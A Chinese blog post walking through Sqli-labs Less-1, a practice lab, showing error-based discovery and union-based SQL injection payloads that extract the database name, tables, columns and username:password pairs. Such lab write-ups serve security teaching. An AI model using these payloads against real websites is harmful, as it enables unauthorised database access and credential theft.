Sqli-labs Less-1 Get Union注入

打开页面后提示“请输入参数id,并为它赋一个数字值”。

1、寻找注入点

输入?id=1 正常;输入?id=1' 报错,说明存在sql注入漏洞。

尝试在URL后添加?id=1回车,页面响应“Your Login name:Dumb Your Password:Dumb”。

尝试在URL后添加?id=1'回车,页面报SQL语法错误。

根据报错信息,猜想输入参数的值被放到一对单引号之间。

猜测后台源码中存在类似于如下的数据库查询语句(可查看后台源码证实猜测):

SELECT * FROM users WHERE id='$id' LIMIT 0,1

2、使用order by 1-99查询该数据表中的字段数量

输入?id=1' order by 3 --+ 正常;

输入?id=1' order by 4 --+ 报错,说明该数据表中字段数为3。

原理:select * from table order by n 表示查询结果按照select里面的第n个字段排序,如果表中只有3个字段,则我们order by 4查询时,因为没有第4个字段,所以报错。

3、爆数据库

在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面。由于是将数据输出到页面上的,所以可以使用union注入,且通过order by查询结果,得到的字段数为3,所以union注入的语句如下:?id=1' union select 1,2,3 --+     

如上图所示,可以看到页面成功执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面。

可以通过设置参数ID值,让服务端返回union select的结果,例如把ID的值设置为-1(输入?id=-1' union select 1,2,3 --+),这样数据库中没有id=-1的数据,所以会返回union select的结果。如下图所示。

返回的结果为2,3,意味着在union select 1,2,3中,2和3位置可以输入mysql语句。我们尝试在2的位置查询当前数据库名(使用database()函数),构造Payload如下

?id=-1' union select 1,database(),3 --+

页面成功返回了数据库信息,得到数据库库名为security,如下图所示。

4、爆数据表

得知了数据库库名,接下来输入以下payload查询表名。

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

5、爆数据列(字段)

现在,已知库名和表名,开始查询字段名,这里以users表名为例,构造payload如下。

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

 

6、爆数据值

payload

?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

 

知识点:

(1)在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。

  • SCHEMATA表存储该用户创建的所有数据库的库名,我们需要记住该表中记录数据库库名的字段名为SCHEMA_NAME。
  • TABLES表存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
  • COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,我们需要记住该表中记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

(2)需要记住的几个函数:

  • database():当前网站使用的数据库。
  • version():当前mysql的版本。
  • user():当前mysql的用户。

(3)group_concat函数是典型的字符串连接函数。group_concat(table_name)表示把table_name字段的值打印在一行,逗号分隔(默认)。

(4)0x3a是:16进制的分隔符,比如在爆数据值时,(username,0x3a,password)表示(username:password)。

(5)--+中,“--”是SQL查询语句中的注释符,“+”在URL中表示空格。

 

posted @ 2020-04-09 21:39  zhengna  阅读(890)  评论(0编辑  收藏  举报